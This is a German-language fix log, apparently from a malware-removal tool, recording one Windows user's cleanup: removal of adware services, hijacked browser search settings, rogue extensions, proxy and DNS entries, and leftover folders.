HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt5 => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt6 => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt7 => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt8 => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt9 => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\00avast => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{472083B0-C522-11CF-8763-00608CC02F24} => Schl黶sel nicht gefunden.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\KzShlobj => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{AAA0C5B8-933F-4200-93AD-B143D7FFF9F2} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ MEGA (Pending) => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{056D528D-CE28-4194-9BA3-BA2E9197FF8C} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ MEGA (Synced) => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{05B38830-F4E9-4329-978B-1DD28605D202} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ MEGA (Syncing) => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{0596C850-7BDD-4C9D-AFDF-873BE6890637} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt1 => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt10 => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt2 => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt3 => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt4 => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt5 => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt6 => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt7 => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt8 => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ DropboxExt9 => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => Schl黶sel nicht gefunden.
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\smss.exe => erfolgreich verschoben
HKLM\System\CurrentControlSet\Control\Session Manager\\BootExecute => Wert erfolgreich wiederhergestellt
C:\Windows\system32\GroupPolicy\Machine => erfolgreich verschoben
C:\Windows\system32\GroupPolicy\GPT.ini => erfolgreich verschoben
HKLM\SOFTWARE\Policies\Google => Schl黶sel erfolgreich entfernt
HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyEnable => Wert erfolgreich entfernt
HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyServer => Wert erfolgreich entfernt
HKU\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyEnable => Wert erfolgreich entfernt
HKU\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyServer => Wert erfolgreich entfernt
HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyEnable => Wert erfolgreich entfernt
HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyServer => Wert erfolgreich entfernt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyServer => Wert erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\\NameServer => Wert erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{04A2521B-7C11-484A-B28D-E9BE3102A821}\\DhcpNameServer => Wert erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{9BAF9E4B-D963-4721-8C85-586F3F37FF3C}\\NameServer => Wert erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{C085ED3F-9016-49ED-8EF6-3F93AD892C71}\\NameServer => Wert erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{C085ED3F-9016-49ED-8EF6-3F93AD892C71}\\DhcpNameServer => Wert erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{E0DF352E-2385-4F61-8BE1-15E2F9F0520E}\\NameServer => Wert erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{E0DF352E-2385-4F61-8BE1-15E2F9F0520E}\\DhcpNameServer => Wert erfolgreich entfernt
HKLM\SYSTEM\CurrentControlSet\services\NlaSvc\Parameters\Internet\ManualProxies\\ => Wert erfolgreich entfernt
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer => Schl黶sel erfolgreich entfernt
HKU\.DEFAULT\SOFTWARE\Policies\Microsoft\Internet Explorer => Schl黶sel erfolgreich entfernt
HKLM\Software\\Microsoft\Internet Explorer\Main\\Start Page => Wert erfolgreich wiederhergestellt
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Start Page => Wert erfolgreich wiederhergestellt
HKLM\Software\\Microsoft\Internet Explorer\Main\\Search Page => Wert erfolgreich wiederhergestellt
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Search Page => Wert erfolgreich wiederhergestellt
HKLM\Software\\Microsoft\Internet Explorer\Main\\Default_Page_URL => Wert erfolgreich wiederhergestellt
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Default_Page_URL => Wert erfolgreich wiederhergestellt
HKLM\Software\\Microsoft\Internet Explorer\Main\\Default_Search_URL => Wert erfolgreich wiederhergestellt
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Default_Search_URL => Wert erfolgreich wiederhergestellt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main\\Search Page => Wert erfolgreich wiederhergestellt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main\\Start Page => Wert erfolgreich wiederhergestellt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main\\Default_Page_URL => Wert erfolgreich wiederhergestellt
HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => Wert erfolgreich wiederhergestellt
HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A} => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{0633EE93-D776-472f-A0FF-E1416B8B2E3A} => Schl黶sel nicht gefunden.
HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{2211d4a5-48d0-47f5-a7cd-81e861470f7f} => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{2211d4a5-48d0-47f5-a7cd-81e861470f7f} => Schl黶sel nicht gefunden.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => Wert erfolgreich wiederhergestellt
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A} => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{0633EE93-D776-472f-A0FF-E1416B8B2E3A} => Schl黶sel nicht gefunden.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{2211d4a5-48d0-47f5-a7cd-81e861470f7f} => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{2211d4a5-48d0-47f5-a7cd-81e861470f7f} => Schl黶sel nicht gefunden.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => Schl黶sel erfolgreich entfernt
HKCR\Wow6432Node\CLSID\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => Schl黶sel nicht gefunden.
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{2211d4a5-48d0-47f5-a7cd-81e861470f7f} => Schl黶sel erfolgreich entfernt
HKCR\CLSID\{2211d4a5-48d0-47f5-a7cd-81e861470f7f} => Schl黶sel nicht gefunden.
C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\naweriweentcofise => erfolgreich verschoben
Firefox "newtab" erfolgreich entfernt
Firefox DefaultSearchEngine erfolgreich entfernt
Firefox SelectedSearchEngine erfolgreich entfernt
Firefox "homepage" erfolgreich entfernt
Firefox "Keyword.URL" erfolgreich entfernt
C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\ajsmomju.default\searchplugins\ourluckysites.xml => erfolgreich verschoben
Firefox "newtab" erfolgreich entfernt
Firefox SelectedSearchEngine erfolgreich entfernt
C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\Extensions\@DA3566E2-F709-11E5-8E87-A604BC8E7F8B.xpi => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\Extensions\@E97YHOMI-FU8L-IM23-VUT9-RVDZT7M8XL8H.xpi => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\Extensions\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.xpi => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\searchplugins\6ddy6fjk.xml => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\searchplugins\startpageing123.xml => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\searchplugins\startsearch.xml => erfolgreich verschoben
HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command\\Default => Wert erfolgreich wiederhergestellt
HKLM\SOFTWARE\Google\Chrome\Extensions\nahhmpbckpgdidfnmfkfgiflpjijilce => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Google\Chrome\Extensions\pilplloabdedfmialnfchjomjmpjcoej => Schl黶sel erfolgreich entfernt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Google\Chrome\Extensions\nahhmpbckpgdidfnmfkfgiflpjijilce => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\bpegkgagfojjbcpkihigfmkojdmmimdf => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\ehgldbbpchgpcfagfpfjgoomddhccfgh => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\nahhmpbckpgdidfnmfkfgiflpjijilce => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command\\Default => Wert erfolgreich wiederhergestellt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Clients\StartMenuInternet\ChromeHTML => Schl黶sel erfolgreich entfernt
"C:\Program Files (x86)\Everness" => nicht gefunden.
HKLM\System\CurrentControlSet\Services\AppleAppSvc => Schl黶sel erfolgreich entfernt
AppleAppSvc => Dienst erfolgreich entfernt
C:\ProgramData\Apple\Temp\upgrade.ini => erfolgreich verschoben
HKLM\System\CurrentControlSet\Services\AppleCloudSvc => Schl黶sel erfolgreich entfernt
AppleCloudSvc => Dienst erfolgreich entfernt
C:\ProgramData\Apple\Common\Cloud\WinHelper.dll => erfolgreich verschoben
BIT => Dienst konnte nicht gestoppt werden.
HKLM\System\CurrentControlSet\Services\BIT => Schl黶sel erfolgreich entfernt
BIT => Dienst erfolgreich entfernt
C:\ProgramData\BIT => erfolgreich verschoben
HKLM\System\CurrentControlSet\Services\FirefoxU => Schl黶sel erfolgreich entfernt
FirefoxU => Dienst erfolgreich entfernt
C:\Program Files (x86)\Firefox => erfolgreich verschoben
HKLM\System\CurrentControlSet\Services\MCSvc => Schl黶sel erfolgreich entfernt
MCSvc => Dienst erfolgreich entfernt
MCSvc => Dienst nicht gefunden.
HKLM\System\CurrentControlSet\Services\MVCSrv => Schl黶sel erfolgreich entfernt
MVCSrv => Dienst erfolgreich entfernt
C:\ProgramData\Package Cache\{2A002F88-FD5D-379B-A350-A25D84AF128B}v14.0.25420\packages\VisualC_D14\VC_IDE.Base\VC_IDE_Base.dll => erfolgreich verschoben
HKLM\System\CurrentControlSet\Services\pgt_svc => Schl黶sel erfolgreich entfernt
pgt_svc => Dienst erfolgreich entfernt
C:\Program Files (x86)\ProxyGate => erfolgreich verschoben
HKLM\System\CurrentControlSet\Services\SpyHunter 4 Service => Schl黶sel erfolgreich entfernt
SpyHunter 4 Service => Dienst erfolgreich entfernt
C:\Program Files\Enigma Software Group => erfolgreich verschoben
HKLM\System\CurrentControlSet\Services\srcsrv => Schl黶sel erfolgreich entfernt
srcsrv => Dienst erfolgreich entfernt
C:\Windows\src_srv\winsrcsrv.exe => erfolgreich verschoben

========================= Folder: C:\Windows\src_srv ========================

2017-05-29 21:59 - 2017-05-29 16:28 - 0013312 _____ () C:\Windows\src_srv\accept_cert.exe
2017-05-29 22:01 - 2017-06-01 11:55 - 5097023 _____ () C:\Windows\src_srv\installsig.exe
2017-05-29 21:59 - 2016-01-25 20:55 - 0455680 _____ () C:\Windows\src_srv\Ionic.Zip.dll
2017-05-29 22:00 - 2017-05-29 22:00 - 0002758 _____ () C:\Windows\src_srv\rootCert.pfx
2017-05-29 21:59 - 2017-05-29 16:27 - 0137728 _____ () C:\Windows\src_srv\Trusted.Web.Proxy.dll

====== Ende von Folder: ======

HKLM\System\CurrentControlSet\Services\SysLinkMapper => Schl黶sel erfolgreich entfernt
SysLinkMapper => Dienst erfolgreich entfernt
C:\ProgramData\F5C6DBD2-9E35-457F-B662-CF7D478FD412 => erfolgreich verschoben
WinSAPSvc => Dienst konnte nicht gestoppt werden.
HKLM\System\CurrentControlSet\Services\WinSAPSvc => Schl黶sel erfolgreich entfernt
WinSAPSvc => Dienst erfolgreich entfernt
C:\Users\Nick Schuster\AppData\Roaming\WinSAPSvc => erfolgreich verschoben
HKLM\System\CurrentControlSet\Services\ZbezjService => Schl黶sel erfolgreich entfernt
ZbezjService => Dienst erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\3DM => Schl黶sel erfolgreich entfernt
3DM => Dienst erfolgreich entfernt
C:\Users\Nick Schuster\AppData\Local\3DM => erfolgreich verschoben
HKLM\System\CurrentControlSet\Services\Kitty => Schl黶sel erfolgreich entfernt
Kitty => Dienst erfolgreich entfernt
"C:\Users\Nick Schuster\AppData\Local\Kitty" => nicht gefunden.
HKLM\System\CurrentControlSet\Services\kivojebi => Schl黶sel erfolgreich entfernt
kivojebi => Dienst erfolgreich entfernt
"C:\Program Files (x86)\0D8F6370-1479488272-81E4-3884-0071C2420BD3" => nicht gefunden.
HKLM\System\CurrentControlSet\Services\Recover => Schl黶sel erfolgreich entfernt
Recover => Dienst erfolgreich entfernt
"C:\Program Files\Uninstall Information\FHND4RB6YGFG69477PK1CJU4XT48RPI" => nicht gefunden.
HKLM\System\CurrentControlSet\Services\esgiguard => Schl黶sel erfolgreich entfernt
esgiguard => Dienst erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\EsgScanner => Schl黶sel erfolgreich entfernt
EsgScanner => Dienst erfolgreich entfernt
C:\Windows\System32\DRIVERS\EsgScanner.sys => erfolgreich verschoben
HKLM\System\CurrentControlSet\Services\iSafeKrnlMon => Schl黶sel erfolgreich entfernt
iSafeKrnlMon => Dienst erfolgreich entfernt
"C:\Program Files (x86)\Elex-tech" => nicht gefunden.
C:\ProgramData\f9d60eee-4f25-0 => erfolgreich verschoben
C:\ProgramData\f9d60eee-3735-1 => erfolgreich verschoben

========================= Folder: C:\Users\Nick Schuster\AppData\Roaming\NetCtl ========================

2017-06-03 18:00 - 2017-06-03 18:00 - 3043120 _____ (IT Genius) C:\Users\Nick Schuster\AppData\Roaming\NetCtl\netctl.exe

====== Ende von Folder: ======

C:\ProgramData\f9d60eee-6921-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-2583-0 => erfolgreich verschoben
C:\ProgramData\{279BD4C5-9030-636E-34A5-319E03364EE3} => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Applemy => erfolgreich verschoben
C:\ProgramData\f9d60eee-7817-0 => erfolgreich verschoben
C:\ProgramData\f9d60eee-3a25-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-0b25-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-07f7-0 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\glory => erfolgreich verschoben
C:\Windows\System32\Tasks\fyKiuMkkXh => erfolgreich verschoben
C:\END => erfolgreich verschoben
C:\ProgramData\f9d60eee-7411-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-49f5-0 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\Applemy => erfolgreich verschoben
C:\Users\Public\Documents\Google => erfolgreich verschoben
"C:\Program Files (x86)\Firefox" => nicht gefunden.
C:\Program Files (x86)\Applemy => erfolgreich verschoben
C:\ProgramData\{5dc62cb3-512c-0} => erfolgreich verschoben
C:\ProgramData\{241B54D7-93B0-E37C-7209-B5C3B4A67434} => erfolgreich verschoben
C:\ProgramData\{1fc205d4-012c-1} => erfolgreich verschoben
C:\Windows\System32\Tasks\{0B047F47-0F0A-0408-0B11-087F0C0B110F} => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Obsidium => erfolgreich verschoben
"C:\ProgramData\F5C6DBD2-9E35-457F-B662-CF7D478FD412" => nicht gefunden.
C:\Windows\system32\wiperrm.exe => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\WiperSoft => erfolgreich verschoben
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WiperSoft => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\{12A8CCFE-3C33-4995-BAD8-074E4C5B22FD} => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Minerent => erfolgreich verschoben
C:\Program Files (x86)\Arucerther_ => erfolgreich verschoben
C:\Users\Default\AppData\Local\AdvinstAnalytics => erfolgreich verschoben
"C:\Users\Default User\AppData\Local\AdvinstAnalytics" => nicht gefunden.
"C:\Users\Default\AppData\Roaming\Minerent" => nicht gefunden.
"C:\Users\Default User\AppData\Roaming\Minerent" => nicht gefunden.
C:\Program Files (x86)\Arucerther => erfolgreich verschoben
C:\Windows\System32\Tasks\Coobeck Monitor => erfolgreich verschoben
C:\Users\Default\AppData\Local\Cerzaentfisuge => erfolgreich verschoben
"C:\Users\Default User\AppData\Local\Cerzaentfisuge" => nicht gefunden.
"C:\ProgramData\e9cf343f516c47a4a7255147ad1dcd13" => nicht gefunden.
C:\ProgramData\ddef39d292cf4b8ea43c256f14555ff3 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\FBTime => erfolgreich verschoben
C:\ProgramData\943973b1-7343-1 => erfolgreich verschoben
C:\ProgramData\943973b1-6925-0 => erfolgreich verschoben
C:\Windows\System32\Tasks\ttwifi => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\AppTrailers => erfolgreich verschoben
"C:\Users\Nick Schuster\AppData\Roaming\gplyra" => nicht gefunden.
C:\Users\Nick Schuster\AppData\Roaming\gjtj1a4xugf => erfolgreich verschoben
C:\Windows\System32\Tasks\Quick Tharks Screen Saver => erfolgreich verschoben
C:\Windows\System32\Tasks\SoftUpgrade => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\devnull => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\AdvinstAnalytics => erfolgreich verschoben
C:\Program Files (x86)\SoftUpgrade => erfolgreich verschoben
C:\Windows\System32\Tasks\RunAtStartup => erfolgreich verschoben
C:\ServiceLog.txt => erfolgreich verschoben
"C:\Users\Nick Schuster\AppData\Roaming\Grerdaentlerveck" => nicht gefunden.
C:\Windows\src_srv => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\yxuuo1zrzz4 => erfolgreich verschoben
"C:\Program Files (x86)\ProxyGate" => nicht gefunden.
C:\Windows\System32\Tasks\Gerfety Renew => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\s0ac4g0fkg0 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\Draveingplererward => erfolgreich verschoben
C:\ProgramData\VideoMemoryDiagnostic => erfolgreich verschoben
C:\Program Files (x86)\Prfasaretaly => erfolgreich verschoben
C:\Program Files (x86)\pccleanplus => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Babylon => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\Babylon => erfolgreich verschoben
C:\ProgramData\Babylon => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\terana => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\CSHMDR => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\CWASRE => erfolgreich verschoben
C:\ProgramData\f9d60eee-68a5-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-5f71-0 => erfolgreich verschoben
C:\Windows\SysWOW64\1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-4cc1-0 => erfolgreich verschoben
C:\ProgramData\f9d60eee-4593-1 => erfolgreich verschoben
C:\ProgramData\{1aa64fd2-712c-1} => erfolgreich verschoben
C:\ProgramData\{02a407e1-212c-0} => erfolgreich verschoben
C:\ProgramData\f9d60eee-5ad5-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-3ae5-0 => erfolgreich verschoben
C:\ProgramData\f9d60eee-6671-0 => erfolgreich verschoben
C:\ProgramData\f9d60eee-6115-1 => erfolgreich verschoben
C:\Windows\SysWOW64\3333333 => erfolgreich verschoben
C:\Windows\SysWOW64\1111 => erfolgreich verschoben
C:\Windows\SysWOW64\00 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\NPASRE => erfolgreich verschoben
C:\ProgramData\f9d60eee-4d03-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-1147-0 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\VNASRE => erfolgreich verschoben
C:\ProgramData\{636564e6-512c-0} => erfolgreich verschoben
C:\ProgramData\{55b52545-312c-1} => erfolgreich verschoben
C:\ProgramData\{055b525f-612c-0} => erfolgreich verschoben
C:\ProgramData\f9d60eee-3db3-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-2227-0 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\ANSARE => erfolgreich verschoben
C:\Users\Public\Documents\temp => erfolgreich verschoben
C:\Users\Public\Documents\chrome => erfolgreich verschoben
C:\ProgramData\f9d60eee-6423-0 => erfolgreich verschoben
C:\ProgramData\f9d60eee-13c7-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-6415-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-3141-0 => erfolgreich verschoben
C:\ProgramData\f9d60eee-3ba3-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-0291-0 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\background_fault => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\WANARE => erfolgreich verschoben
"C:\ProgramData\BIT" => nicht gefunden.
C:\ProgramData\f9d60eee-5a03-0 => erfolgreich verschoben
C:\ProgramData\f9d60eee-1c67-1 => erfolgreich verschoben
C:\ProgramData\{93E26451-CD9A-43A5-A2FA-C42392EA4001} => erfolgreich verschoben
C:\ProgramData\{E291433F-553A-F494-7993-5DB4F74EF600} => erfolgreich verschoben
C:\ProgramData\{1F88CA98-A823-7D33-19C2-25D7F85A3115} => erfolgreich verschoben
C:\ProgramData\{30a66e80-412c-0} => erfolgreich verschoben
C:\ProgramData\{0f4d7d53-512c-0} => erfolgreich verschoben
C:\ProgramData\{00d223fb-612c-1} => erfolgreich verschoben
C:\Windows\SysWOW64\4 => erfolgreich verschoben
C:\Windows\SysWOW64\1111111 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\SNAREA => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\Everness => erfolgreich verschoben
C:\Windows\SysWOW64\33 => erfolgreich verschoben
C:\Insist => erfolgreich verschoben
C:\Windows\psgo => erfolgreich verschoben
C:\ProgramData\f9d60eee-41d1-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-04d5-0 => erfolgreich verschoben
C:\ProgramData\f9d60eee-6bc1-0 => erfolgreich verschoben
C:\ProgramData\f9d60eee-4b23-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-5761-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-3ce5-0 => erfolgreich verschoben
C:\Windows\SysWOW64\22 => erfolgreich verschoben
C:\Windows\SysWOW64\11 => erfolgreich verschoben
C:\ProgramData\f9d60eee-58d7-1 => erfolgreich verschoben
C:\ProgramData\f9d60eee-0091-0 => erfolgreich verschoben
"C:\Users\Nick Schuster\AppData\Local\3DM" => nicht gefunden.
C:\ProgramData\{79ad3ae3-412c-1} => erfolgreich verschoben
C:\ProgramData\{74b842e5-112c-0} => erfolgreich verschoben
C:\ProgramData\{4bea5929-412c-0} => erfolgreich verschoben
C:\ProgramData\f9d60eee-6097-0 => erfolgreich verschoben
C:\ProgramData\{341DC82C-83B6-7F87-DEF3-C97D7103A5DF} => erfolgreich verschoben
C:\ProgramData\f9d60eee-5791-0 => erfolgreich verschoben
C:\ProgramData\{698332d3-212c-0} => erfolgreich verschoben
C:\ProgramData\{26445420-112c-1} => erfolgreich verschoben
C:\Windows\System32\Tasks\{C8763487-4C07-317B-EF0E-D6F917015462} => erfolgreich verschoben
C:\ProgramData\575f1242 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\SNARE => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\AMD => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\SNARER => erfolgreich verschoben
